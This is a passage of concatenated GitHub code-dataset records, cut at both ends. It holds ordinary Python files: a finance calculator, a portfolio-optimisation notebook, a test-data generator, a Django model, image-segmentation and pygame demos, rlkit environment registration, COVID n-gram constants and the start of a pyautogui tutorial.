years_of_investment))\r\n print(f\"Your simple_interest is: {simple_interest:.2f}\")\r\n # Compound interest caculation \r\n elif interest_type.lower() == \"compound\":\r\n compound_interest = amount * (math.pow((1 + interest_rate ),years_of_investment))\r\n print(f\"Your compound_interest is: {compound_interest:.2f}\")\r\n# Bond calculator\r\nelif investment_type.lower() == \"bond\":\r\n # Promt user for bond data \r\n present_house_value = float(input(\"Please enter the current value of the house: \"))\r\n interest_rate = float(input(\"Please enter the intrest rate percentage (just the number without the % )\"))/1200\r\n number_of_months = float(input(\"Please enter the number of months you plan on investing for: \"))\r\n # Bond calculator and output value\r\n repayment = present_house_value*(interest_rate *((1 + interest_rate) ** number_of_months))/(((1 + interest_rate)** number_of_months)- 1)\r\n print(f\"You will need to pay: {repayment:.2f} per month\")","repo_name":"YehudaTaylor/finance_calculators","sub_path":"finance_calculators.py","file_name":"finance_calculators.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3082658588","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport sys\nsys.path.insert(0, '..')\nget_ipython().run_line_magic('load_ext', 'autoreload')\nget_ipython().run_line_magic('autoreload', '2')\nget_ipython().run_line_magic('aimport', 'std_func')\n\n# Hide warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# ## Estimates from Sample Covariance\n# \n# The portfolios we constructed in this notebook serve as reference to the portfolios using cosine similarity estimates and factor model estimates. Here, we simply use the sample return and sample covariance to generate portfolios for each industry.\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# In[3]:\n\n\nr_selected = pd.read_csv(\"data/filtered_r.csv\")\n# get the mean of all \nr_selected.set_index(\"name\", inplace = True)\nmu = r_selected.mean(axis = 1)\n# compute the covariance matrix \ncov = r_selected.T.cov()\n\n\n# ### Perform Mean-Variance Analysis\n# We will use one industry per time to generate a minimum-variance portfolio. In our demonstration of mean-variance analysis process, we use the industry `pharmaceutical preparations` whose SIC code is `2834`. At the end, we will show the results for other industries. \n# \n# We first get the name list of `pharmaceutical preparations` companies and match the names with the companies in returns data. Then, we get the sample mean and sample covariance for this specific industry. We get the efficient frontier, the set of optimal portfolios, for the industry; and recognize the minimum-variance portfolio.\n\n# In[4]:\n\n\n#!pip install dataframe_image\n\n\n# In[5]:\n\n\nget_ipython().system('pip install PyPortfolioOpt')\n\n\n# In[6]:\n\n\nfrom pypfopt import EfficientFrontier\nfrom pypfopt import risk_models\nfrom pypfopt import expected_returns\nfrom pypfopt import objective_functions\nfrom pypfopt import plotting\n\n\n# In[7]:\n\n\ndf = pd.read_csv('../data/preprocessed.csv',\n usecols = ['reportingDate', 'name', 'CIK',\n 'coDescription_stopwords', 'SIC', 'SIC_desc'])\ndf = df.set_index(df.name)\n\n\n# In[8]:\n\n\n# get the names of the companies in the pharmaceutical preparations industry\nPharm = df[df.SIC == 2834]\nPharm_list = Pharm.index\n\n\n# In[9]:\n\n\n# get the companies name that match return data and business description data\nSET = (set(Pharm_list) & set(r_selected.index))\nLIST = [*SET, ]\n\n\n# #### Sample Mean for the Pharmaceutical Preparations Industry\n\n# In[10]:\n\n\nmu_Pharm = mu[LIST]\nmu_Pharm\n\n\n# #### Sample Covariance for the Pharmaceutical Preparations Industry\n\n# In[11]:\n\n\ntmp = cov[LIST].T\ncov_Pharm = tmp[LIST]\ncov_Pharm\n\n\n# #### Efficient Frontier - Pharmaceutical Preparations\n\n# In[12]:\n\n\nef1 = EfficientFrontier(mu_Pharm, cov_Pharm, weight_bounds=(0, 0.2))\n\nfig, ax = plt.subplots()\nplotting.plot_efficient_frontier(ef1, ax=ax, show_assets=True)\n\n# Find and plot the tangency portfolio\nef2 = EfficientFrontier(mu_Pharm, cov_Pharm, weight_bounds=(0, 0.2))\n# min volatility\nef2.min_volatility()\nret_tangent, std_tangent, _ = ef2.portfolio_performance()\nax.scatter(std_tangent, ret_tangent, marker=\"*\", s=100, c=\"r\", label=\"Min Volatility\")\n\n# Format\nax.set_title(\"Efficient Frontier - Pharmaceutical Preparations \\n Sample Covariance Estimates\")\nax.legend()\nplt.tight_layout()\nplt.savefig('images/Efficient_Frontier_Returns.png', dpi=200, bbox_inches='tight')\nplt.show()\n\n\n# ##### Min Volatility Portfolio\n\n# ###### Performance\n\n# In[13]:\n\n\nef2.portfolio_performance(verbose=True);\n\n\n# ###### Weights\n\n# In[14]:\n\n\ncompanies = []\nweights = []\nfor company, weight in ef2.clean_weights().items():\n if weight != 0:\n companies.append(company)\n weights.append(weight)\n \ndic = {'Company_Name':companies,'Weight':weights}\nmin_vol = pd.DataFrame(dic)\n\n\n# In[15]:\n\n\npd.read_csv(\"data/min_vol_sample_Pharmaceutical_Preparations.csv\")\n\n\n# ### Results for the Other 4 Industries\n\n# In[16]:\n\n\nSIC_list = [7372, 1311, 6798, 6022]\nSIC_desc = ['Prepackaged Software (mass reproduction of software)', 'Crude Petroleum and Natural Gas', \n 'Real Estate Investment Trusts', 'State Commercial Banks (commercial banking)']\n\n\n# #### Prepackaged Software (mass reproduction of software)\n\n# In[17]:\n\n\nSIC = SIC_list[0]\n \nindustry_name = SIC_desc[SIC_list.index(SIC)]\n \n# get the names of the companies in the other industries\nCompanies = df[df.SIC == SIC]\nCompany_list = Companies.index\n\n# get the companies name that match return data and business description data\nSET = (set(Company_list) & set(r_selected.index))\nLIST = [*SET, ]\n\nmu_sample = mu[LIST]\n# get the outliers\noutlier = mu_sample[mu_sample>1].index\nmu_sample = mu_sample.drop(outlier)\nLIST = mu_sample.index\n\ntmp = cov[LIST].T\ncov_sample = tmp[LIST]\n\n# perform minimum variance analysis\nef1 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n\nfig, ax = plt.subplots()\nplotting.plot_efficient_frontier(ef1, ax=ax, show_assets=True)\n\n# Find and plot the tangency portfolio\nef2 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n# min volatility\nef2.min_volatility()\nret_tangent, std_tangent, _ = ef2.portfolio_performance()\nax.scatter(std_tangent, ret_tangent, marker=\"*\", s=100, c=\"r\", label=\"Min Volatility\")\n\n# Format\nax.set_title(\"Efficient Frontier - %s \\n Sample Covariance Estimates\" %industry_name)\nax.legend()\nplt.tight_layout()\nplt.savefig('images/Efficient_Frontier_Sample_Covariance_Estimates' + str(industry_name) + '.png', dpi=200, bbox_inches='tight')\nplt.show()\n\n\n# ##### Min Volatility Portfolio\n\n# ###### Performance\n\n# In[18]:\n\n\nef2.portfolio_performance(verbose=True);\n\n\n# ###### Weights\n\n# In[19]:\n\n\npd.read_csv(\"data/min_vol_sample_Prepackaged_Software.csv\")\n\n\n# #### Crude Petroleum and Natural Gas\n# When we conduct the same analysis, there is no weight shown. Efficient frontier cannot be found.\n\n# #### Real Estate Investment Trusts\n\n# In[20]:\n\n\nSIC = SIC_list[2]\n \nindustry_name = SIC_desc[SIC_list.index(SIC)]\n \n# get the names of the companies in the other industries\nCompanies = df[df.SIC == SIC]\nCompany_list = Companies.index\n\n# get the companies name that match return data and business description data\nSET = (set(Company_list) & set(r_selected.index))\nLIST = [*SET, ]\n\nmu_sample = mu[LIST]\n# get the outliers\noutlier = mu_sample[mu_sample>1].index\nmu_sample = mu_sample.drop(outlier)\nLIST = mu_sample.index\n\ntmp = cov[LIST].T\ncov_sample = tmp[LIST]\n\n# perform minimum variance analysis\nef1 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n\nfig, ax = plt.subplots()\nplotting.plot_efficient_frontier(ef1, ax=ax, show_assets=True)\n\n# Find and plot the tangency portfolio\nef2 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n# min volatility\nef2.min_volatility()\nret_tangent, std_tangent, _ = ef2.portfolio_performance()\nax.scatter(std_tangent, ret_tangent, marker=\"*\", s=100, c=\"r\", label=\"Min Volatility\")\n\n# Format\nax.set_title(\"Efficient Frontier - %s \\n Sample Covariance Estimates\" %industry_name)\nax.legend()\nplt.tight_layout()\nplt.savefig('images/Efficient_Frontier_Sample_Covariance_Estimates' + str(industry_name) + '.png', dpi=200, bbox_inches='tight')\nplt.show()\n\n\n# ##### Min Volatility Portfolio\n\n# ###### Performance\n\n# In[21]:\n\n\nef2.portfolio_performance(verbose=True);\n\n\n# ###### Weights\n\n# In[22]:\n\n\npd.read_csv(\"data/min_vol_sample_Real_Estate_Investment_Trusts.csv\")\n\n\n# #### State Commercial Banks (commercial banking)\n\n# In[23]:\n\n\nSIC = SIC_list[3]\n \nindustry_name = SIC_desc[SIC_list.index(SIC)]\n \n# get the names of the companies in the other industries\nCompanies = df[df.SIC == SIC]\nCompany_list = Companies.index\n\n# get the companies name that match return data and business description data\nSET = (set(Company_list) & set(r_selected.index))\nLIST = [*SET, ]\n\nmu_sample = mu[LIST]\n# get the outliers\noutlier = mu_sample[mu_sample>1].index\nmu_sample = mu_sample.drop(outlier)\nLIST = mu_sample.index\n\ntmp = cov[LIST].T\ncov_sample = tmp[LIST]\n\n# perform minimum variance analysis\nef1 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n\nfig, ax = plt.subplots()\nplotting.plot_efficient_frontier(ef1, ax=ax, show_assets=True)\n\n# Find and plot the tangency portfolio\nef2 = EfficientFrontier(mu_sample, cov_sample, weight_bounds=(0, 0.2))\n# min volatility\nef2.min_volatility()\nret_tangent, std_tangent, _ = ef2.portfolio_performance()\nax.scatter(std_tangent, ret_tangent, marker=\"*\", s=100, c=\"r\", label=\"Min Volatility\")\n\n# Format\nax.set_title(\"Efficient Frontier - %s \\n Sample Covariance Estimates\" %industry_name)\nax.legend()\nplt.tight_layout()\nplt.savefig('images/Efficient_Frontier_Sample_Covariance_Estimates' + str(industry_name) + '.png', dpi=200, bbox_inches='tight')\nplt.show()\n\n\n# ##### Min Volatility Portfolio\n\n# ###### Performance\n\n# In[24]:\n\n\nef2.portfolio_performance(verbose=True);\n\n\n# ###### Weights\n\n# In[25]:\n\n\npd.read_csv(\"data/min_vol_sample_State_Commercial_Banks.csv\")\n\n","repo_name":"richardye101/ubineer_nlp_research","sub_path":"_build/jupyter_execute/content/peitong/3.1_Minimum_Variance_Analysis-Sample_Estimates.py","file_name":"3.1_Minimum_Variance_Analysis-Sample_Estimates.py","file_ext":"py","file_size_in_byte":8919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41738620459","text":"import subprocess\nfrom random import seed\nimport json\nimport random\nimport numpy as np\n\nSAMPLES = 500\nOUTPUT_FOLDER = \"input/\"\nSEED = 1\nPROGRAM_FILES = [['1_1_A', False, None, None, None],\n ['1_1_B', False, None, None, None],\n ['1_1_C', False, None, None, None],\n ['1_1_D', False, None, None, None],\n ['1_1_E', False, None, None, None],\n ['1_1_F', False, None, None, None],\n ['1_2_A', True, 0, 9, 2],\n ['1_2_B', True, -9, 9, 2],\n ['1_2_C', True, 0, 9999, 2],\n ['1_2_D', True, 0, 9999, 2],\n ['1_2_E', True, 0, 9, 2],\n ['1_3_A', True, 0, 9, 2],\n ['1_3_B', True, -9999, 9999, 2],\n ['1_4_A', True, -99, 99, 10],\n ['1_4_B', True, -99, 99, 100]] # Add your program file names here\n\nseed(SEED)\n\n\ndef generate_input(only_int=False, min_value=None, max_value=None, length=None):\n array = []\n if length is None:\n length = random.randint(1, 100)\n else:\n length = random.randint(length, length+100)\n\n if max_value is None:\n max_value = random.randint(-1000, 1000)\n if min_value is None:\n min_value = random.randint(-1000, 1000)\n\n max_val = np.max([max_value, min_value])\n min_val = np.min([max_value, min_value])\n\n if only_int:\n for i in range(length):\n array.append(random.randint(min_val, max_val))\n return array\n else:\n for i in range(length):\n array.append(random.uniform(min_val, max_val))\n\n return array\n\n\ndef execute_program(program_path, input_data):\n process = subprocess.Popen(['python', program_path, str(input_data)], stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n output, error = process.communicate()\n\n if error:\n print(f\"Error executing {program_path}: {error.decode()}\")\n return None\n\n return output.decode().strip()\n\n\ndef save_data_to_file(data, filename):\n with open(filename, 'a') as file:\n json.dump(data, file)\n file.write(',\\n')\n\n\nfilename = 'genetic_program_data.json'\n\nfor program in PROGRAM_FILES:\n open(OUTPUT_FOLDER + program[0] + filename, \"w\").close()\n print(program[0])\n for _ in range(SAMPLES):\n input_data = generate_input(program[1], program[2], program[3], program[4])\n if program[0] == \"1_4_B\":\n input_data[0] = int(np.abs(input_data[0]))\n output_data = execute_program('programs/' + program[0] + \".py\", input_data)\n\n if output_data is not None:\n data_pair = {'input': input_data, 'output': output_data}\n save_data_to_file(data_pair, OUTPUT_FOLDER + program[0] + filename)\n","repo_name":"Iriide/Genetic-Programming","sub_path":"input_generator/input_generator.py","file_name":"input_generator.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9895271962","text":"from django.db import models\n\nfrom admin_web.models import Tag\n\n\nclass User(models.Model):\n class Meta:\n managed = False\n db_table = 'users'\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n id = models.AutoField(primary_key=True)\n\n arhpg_id = models.BigIntegerField(verbose_name=\"Arhpg ID\")\n arhpg_token = models.CharField(max_length=1024, verbose_name=\"Arhpg Token\")\n tg_user_id = models.BigIntegerField(verbose_name=\"ID Telegram\")\n firstname = models.CharField(max_length=128, null=True, blank=True, verbose_name=\"Имя\")\n lastname = models.CharField(max_length=128, null=True, blank=True, verbose_name=\"Фамилия\")\n email = models.CharField(max_length=256, null=True, blank=True, verbose_name=\"Почта\")\n\n tags = models.ManyToManyField(Tag, related_name=\"users_tags\", verbose_name=\"Теги\")\n\n def __str__(self):\n return f\"{self.id} - {self.firstname}\"\n","repo_name":"yegoryakubovich/arhpg","sub_path":"admin/admin_web/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5809183539","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 7 23:35:32 2017\n\n@author: ajaver\n\"\"\"\nimport os\nimport glob\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom skimage.io import imread\nimport random\nfrom tensorflow.contrib import keras\nload_model = keras.models.load_model\n\nfrom augmentation import process_data, get_sizes, ImageMaskGenerator, DirectoryImgGenerator\nfrom unet_build import w_pix_categorical_crossentropy\n\nmain_dir = '/Users/ajaver/OneDrive - Imperial College London/food/train_set/'\n\n#model = load_model('unet_norm_bn-08249-0.0071.h5')\n#model = load_model('unet_norm-09599-0.0098.h5')\n\n#import tensorflow as tf\n#keras.backend.set_learning_phase(tf.convert_to_tensor(0))\n#model_bn = load_model('unet_norm_w-14249-0.1633.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n#model_not_bn = load_model('unet_norm_w_not_bn-06499-0.6399.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n\n#model1 = load_model('unet_norm_w-19999-0.1208.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n#model2 = load_model('unet_norm_w_bn_bias-06249-0.1954.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n#model_not_bn = load_model('unet_norm_w_not_bn-15999-0.2540.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n\nmodels = [\n #load_model('unet_norm_w-19999-0.1208.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n #load_model('unet_norm_w_bn_bias-06249-0.1954.h5', custom_objects={'w_pix_categorical_crossentropy': w_pix_categorical_crossentropy})\n #load_model('unet_norm_w_bn_no_bias-00499-0.9009.h5'),\n #load_model('unet_norm_w_bn_no_bias-00749-0.7128.h5'),\n #load_model('unet_norm_w_bn_no_bias-01499-0.4725.h5')\n #load_model('unet_norm_w_bn_no_bias-03249-0.2715.h5'),\n #load_model('unet_no_bn_no_w-02999-0.0917.h5'),\n load_model('unet_norm_w_no_bn-04249-0.3976.h5'),\n load_model('unet_norm_w_no_bn_cnt-03499-1.1672.h5')\n ]\n\n#%%\n\n#%%\ndef flip_d(img_o, nn):\n if nn == 0:\n img = img_o[::-1, :]\n elif nn == 2:\n img = img_o[:, ::-1]\n elif nn == 3:\n img = img_o[::-1, ::-1]\n else:\n img = img_o\n \n return img\n\n\ndef background_prediction(Xi, \n model_t, \n n_flips = 1,\n n_tiles=4, \n im_size=(512, 512),\n _is_debug=False):\n Y_pred = np.zeros(Xi.shape)\n for n_t in range(n_flips):\n \n X = flip_d(Xi, n_t)\n \n if im_size is None:\n im_size = X.shape \n input_size, output_size, pad_size, tile_corners = get_sizes(im_size)\n x_crop = process_data(X, input_size, pad_size, tile_corners) \n x_crop = np.concatenate(x_crop)\n y_pred = model_t.predict_on_batch(x_crop)\n \n \n Y_pred_s = np.zeros(X.shape)\n N_s = np.zeros(X.shape)\n for (i,j), yy,xx in zip(tile_corners, y_pred, x_crop):\n Y_pred_s[i:i+output_size, j:j+output_size] += yy[:,:,1]\n \n if _is_debug:\n plt.figure()\n plt.subplot(1,2,1)\n plt.imshow(np.squeeze(xx))\n plt.subplot(1,2,2)\n plt.imshow(yy[:,:,1])\n \n N_s[i:i+output_size, j:j+output_size] += 1\n Y_pred += flip_d(Y_pred_s/N_s, n_t)\n return Y_pred\n\n \n\n\n \nif __name__ == '__main__':\n n_tiles=4\n im_size=None\n n_flips =1\n \n gen_d = DirectoryImgGenerator(main_dir, \n im_size = (512, 512),\n weight_params={}\n )\n for ivid in range(10):\n \n #fnames = glob.glob(os.path.join(main_dir, 'X_0_*'))\n #for ivid, fname in enumerate(random.sample(fnames,10)):\n #Xi = imread(fname)\n Xi,Y = gen_d.get_random()\n \n print(ivid)\n \n Y_pred = []\n for mod in models:\n yy = background_prediction(Xi, \n mod, \n n_flips=n_flips,\n n_tiles=n_tiles,\n im_size=im_size\n )\n Y_pred.append(yy)\n \n #%%\n n_rows= len(Y_pred) + 1\n plt.figure()\n plt.subplot(1,n_rows,1)\n plt.imshow(Xi, cmap='gray')\n #plt.subplot(1,n_rows,2)\n #plt.imshow(Y[:,:,1], cmap='gray')\n for irow, yy in enumerate(Y_pred):\n plt.subplot(1, n_rows, irow+2) \n plt.imshow(yy, interpolation='none')\n #break\n#%%\n#X = flip_d(Xi, 0)\n#im_size = X.shape \n#input_size, output_size, pad_size, tile_corners = get_sizes(im_size)\n##%%\n#x_crop = process_data(X, input_size, pad_size, tile_corners) \n#x_crop = np.concatenate(x_crop)\n#y_pred = mod.predict_on_batch(x_crop)\n#%%\n\n\n","repo_name":"ver228/tierpsy-nn","sub_path":"tierpsy_nn/find_food/_old/test_unet.py","file_name":"test_unet.py","file_ext":"py","file_size_in_byte":5114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35178124655","text":"#!/usr/bin/env python3\nfrom PIL import Image\nimport numpy as np\nimport pygame\n\n\nbackground_color = (100, 100, 100)\nwindow_size = (500, 500)\ngame_clock = 60\nquit_flag = False\ncolor_range = 0\nincrementer = 1\nIMG_SIZE = 500\n\n\ndef effect_from_image(image):\n effect = np.array(Image.open(image).convert('L')).reshape(-1)\n\n def function(img, t):\n indexes = np.where(effect <= t)\n result = np.array(img, copy=True)\n result[indexes] = [0, 0, 0]\n result = result.reshape((IMG_SIZE, IMG_SIZE, 3))\n return result.transpose((1, 0, 2))\n\n return function\n\n\ndef effect_tiles(tile_size=50, img_size=IMG_SIZE):\n steps = 2 * img_size // tile_size\n effect = np.zeros((IMG_SIZE, IMG_SIZE))\n for x in range(effect.shape[0]):\n for y in range(effect.shape[1]):\n effect[x, y] = (1 + x // tile_size + y // tile_size) / steps * 255\n effect = effect.reshape(-1)\n\n def function(img, t):\n indexes = np.where(effect <= t)\n result = np.array(img, copy=True)\n result[indexes] = [0, 0, 0]\n result = result.reshape((IMG_SIZE, IMG_SIZE, 3))\n return result.transpose((1, 0, 2))\n\n return function\n\n\nif __name__ == '__main__':\n pygame.init()\n\n screen = pygame.display.set_mode(window_size)\n pygame.display.set_caption('Effect test')\n clock = pygame.time.Clock()\n\n surface = pygame.Surface(window_size)\n surface.fill(background_color)\n\n image = np.array(Image.open('./resources/image.png').convert('RGB')).reshape(IMG_SIZE ** 2, 3)\n effects = [effect_from_image(f'./resources/effect.png'), effect_tiles()]\n effect_index = 0\n\n while not quit_flag:\n surface.fill(background_color)\n\n result = effects[effect_index](image, color_range)\n\n color_range += incrementer\n if color_range >= 255:\n incrementer = -1\n if color_range <= 0:\n incrementer = 1\n\n pygame.surfarray.blit_array(surface, result)\n\n # render\n screen.blit(surface, (0, 0))\n pygame.display.update()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit_flag = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n quit_flag = True\n if event.key == pygame.K_LEFT:\n color_range = 0\n incrementer = 1\n effect_index -= 1\n if effect_index < 0:\n effect_index = 0\n if event.key == pygame.K_RIGHT:\n color_range = 0\n incrementer = 1\n effect_index += 1\n if effect_index >= len(effects):\n effect_index = len(effects) - 1\n\n clock.tick(game_clock)\n","repo_name":"ceilors/some-games","sub_path":"effect.py","file_name":"effect.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37473458549","text":"import os\nimport importlib\n\n\nENVS = {}\n\n\ndef register_env(name):\n \"\"\"Registers a env by name for instantiation in rlkit.\"\"\"\n\n def register_env_fn(fn):\n if name in ENVS:\n raise ValueError(\"Cannot register duplicate env {}\".format(name))\n if not callable(fn):\n raise TypeError(\"env {} must be callable\".format(name))\n ENVS[name] = fn\n return fn\n\n return register_env_fn\n\n\n# automatically import any envs in the envs/ directory\n\ndef _tabulate(module_name):\n print(\"import module: {}\".format(module_name))\n\nfor file in os.listdir(os.path.dirname(__file__)):\n if 'MUJOCO_PY_MJPRO_PATH' in os.environ.keys():\n mjpro_path = os.environ.get('MUJOCO_PY_MJPRO_PATH')\n mjpro = os.path.basename(mjpro_path)\n else:\n mjpro = None\n if mjpro is not None:\n if file.endswith('.py') and not file.startswith('_') and not file.startswith('non_mujoco'):\n if mjpro != 'mjpro131':\n if not file.startswith('walker_rand_params'):\n module = file[:file.find('.py')]\n importlib.import_module('rlkit.envs.' + module)\n _tabulate(module)\n else:\n if file.startswith('walker_rand_params'):\n module = file[:file.find('.py')]\n importlib.import_module('rlkit.envs.' + module)\n _tabulate(module)\n else:\n if file.endswith('.py') and file.startswith('non_mujoco'):\n module = file[:file.find('.py')]\n importlib.import_module('rlkit.envs.' + module)\n _tabulate(module)\n\n","repo_name":"LanqingLi1993/FOCAL-ICLR","sub_path":"rlkit/envs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"78"} +{"seq_id":"24886351370","text":"\nimport matplotlib.font_manager as fm\nfm._rebuild()\nnoto = [f.name for f in fm.fontManager.ttflist if 'Noto Sans' in f.name]\n\nfonts = {\n 'Default': fm.FontProperties(family=[\"sans-serif\"]),\n 'Korean': fm.FontProperties(family=[\"Noto Sans CJK KR\", \"Noto Sans CJK\", \"sans-serif\"]),\n 'Tamil': fm.FontProperties(family=[\"Noto Sans Tamil\", \"sans-serif\"]),\n}\n\nat_color = 'k'\not_color = 'C0'\nrt_color = 'C1'\ntags = 'A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'.split(' ')\n\n\ncontagiograms = {\n 'virus_12': [\n ('virus', 'en'), ('virus', 'es'), ('vírus', 'pt'), ('فيروس', 'ar'),\n ('바이러스', 'ko'), ('virus', 'fr'), ('virus', 'id'), ('virüs', 'tr'),\n ('Virus', 'de'), ('virus', 'it'), ('вирус', 'ru'), ('virus', 'tl'),\n ],\n 'virus_24': [\n ('virus', 'hi'), ('ویروس', 'fa'), ('وائرس', 'ur'), ('wirus', 'pl'),\n ('virus', 'ca'), ('virus', 'nl'), ('virus', 'ta'), ('ιός', 'el'),\n ('virus', 'sv'), ('вирус', 'sr'), ('virus', 'fi'), ('вірус', 'uk'),\n ],\n 'samples_1grams_12': [\n ('coronavirus', 'en'), ('cuarentena', 'es'), ('corona', 'pt'), ('كورونا', 'ar'),\n ('바이러스', 'ko'), ('quarantaine', 'fr'), ('virus', 'id'), ('virüs', 'tr'),\n ('Quarantäne', 'de'), ('quarantena', 'it'), ('карантин', 'ru'), ('virus', 'tl'),\n ],\n 'samples_1grams_24': [\n ('virus', 'hi'), ('قرنطینه', 'fa'), ('مرضی', 'ur'), ('testów', 'pl'),\n ('confinament', 'ca'), ('virus', 'nl'), ('ரஜ', 'ta'), ('σύνορα', 'el'),\n ('Italien', 'sv'), ('mere', 'sr'), ('manaa', 'fi'), ('BARK', 'uk'),\n ],\n 'samples_2grams': [\n ('social distancing', 'en'), ('public health', 'en'), ('the lockdown', 'en'), ('health workers', 'en'),\n ('small businesses', 'en'), ('stimulus check', 'en'), ('during quarantine', 'en'), ('Anthony Fauci', 'en'),\n ('laid off', 'en'), ('panic buying', 'en'), ('stay home', 'en'), ('cultural reset', 'en'),\n ],\n}\n\nwords_by_country = {\n 'United States': [\n ('coronavirus', 'en'), ('pandemic', 'en'), ('virus', 'en'), ('lockdown', 'en'), ('quarantine', 'en'),\n ('deaths', 'en'), ('masks', 'en'), ('cases', 'en'), ('distancing', 'en'), ('China', 'en'),\n ],\n 'Brazil': [\n ('quarentena', 'pt'), ('coronavírus', 'pt'), ('vírus', 'pt'), ('paredão', 'pt'), ('isolamento', 'pt'),\n ('corona', 'pt'), ('governadores', 'pt'), ('China', 'pt'), ('máscara', 'pt'), ('casos', 'pt'),\n ],\n 'India': [\n ('तरजन', 'hi'), ('Lockdown', 'hi'), ('Corona', 'hi'), ('शट', 'hi'), ('PPE', 'hi'), \n ('ऊन', 'hi'), ('Sadhna', 'hi'), ('आपद', 'hi'), ('Tvईश', 'hi'), ('WHO', 'hi'), \n ],\n 'Russia': [\n ('коронавируса', 'ru'), ('коронавирусом', 'ru'), ('карантина', 'ru'), ('самоизоляции', 'ru'), ('карантин', 'ru'),\n ('коронавирус', 'ru'), ('пандемии', 'ru'), ('карантине', 'ru'), ('маски', 'ru'), ('эпидемии', 'ru'),\n ],\n 'Mexico': [\n ('cuarentena', 'es'), ('pandemia', 'es'), ('coronavirus', 'es'), ('virus', 'es'), ('confinamiento', 'es'),\n ('mascarillas', 'es'), ('casos', 'es'), ('salud', 'es'), ('sanitaria', 'es'), ('fallecidos', 'es'),\n ],\n 'Iran': [\n ('کرونا', 'fa'), ('ویروس', 'fa'), ('قرنطینه', 'fa'), ('ماسک', 'fa'), ('چین', 'fa'),\n ('شیوع', 'fa'), ('بهداشت', 'fa'), ('مبتلا', 'fa'), ('ساعات', 'fa'), ('بیماری', 'fa'),\n ],\n 'Korea, South': [\n ('바이러스', 'ko'), ('코로나', 'ko'), ('코로나19', 'ko'), ('마스크', 'ko'), ('온라인', 'ko'), \n ('사회적', 'ko'), ('확진자', 'ko'), ('신상공개', 'ko'), ('커버', 'ko'), ('모집', 'ko'),\n ],\n 'Italy': [\n ('Coronavirus', 'it'), ('quarantena', 'it'), ('virus', 'it'), ('mascherine', 'it'), ('pandemia', 'it'),\n ('Conte', 'it'), ('contagi', 'it'), ('mascherina', 'it'), ('Covid', 'it'), ('lockdown', 'it'),\n ],\n 'France': [\n ('confinement', 'fr'), ('masques', 'fr'), ('Coronavirus', 'fr'), ('virus', 'fr'), ('masque', 'fr'),\n ('pandémie', 'fr'), ('sanitaire', 'fr'), ('crise', 'fr'), ('tests', 'fr'), ('soignants', 'fr'),\n ],\n 'Germany': [\n ('Corona', 'de'), ('Masken', 'de'), ('Virus', 'de'), ('Krise', 'de'), ('Coronavirus', 'de'),\n ('Pandemie', 'de'), ('Maske', 'de'), ('Abstand', 'de'), ('Quarantäne', 'de'), ('Lockdown', 'de'),\n ],\n 'Sweden': [\n ('Corona', 'sv'), ('smittade', 'sv'), ('viruset', 'sv'), ('coronakrisen', 'sv'), ('äldreboenden', 'sv'),\n ('skyddsutrustning', 'sv'), ('dödsfall', 'sv'), ('krisen', 'sv'), ('munskydd', 'sv'), ('döda', 'sv'),\n ],\n 'Turkey': [\n ('maske', 'tr'), ('virüs', 'tr'), ('çıkma', 'tr'), ('sağlık', 'tr'), ('koronavirüs', 'tr'),\n ('vaka', 'tr'), ('evde', 'tr'), ('yardım', 'tr'), ('yasağı', 'tr'), ('Korona', 'tr'),\n ],\n}\n","repo_name":"compstorylab/covid19ngrams","sub_path":"src/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":5036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16436125379","text":"## YOUTUBE VIDEO PART I: https://youtu.be/iZzx1keKztY\n##\nimport pyautogui\nfrom time import sleep\n\n##\n# пауза и досрочное прекращение\npyautogui.PAUSE = 1.5\npyautogui.FAILSAFE = True\n##\n# разрешение и позиция\npyautogui.size()\npyautogui.position()\n##\n# перемещение мыши\npyautogui.moveTo(1920 / 2, 1080 / 2, duration=1)\npyautogui.move(-200, -200, duration=1)\n##\n# 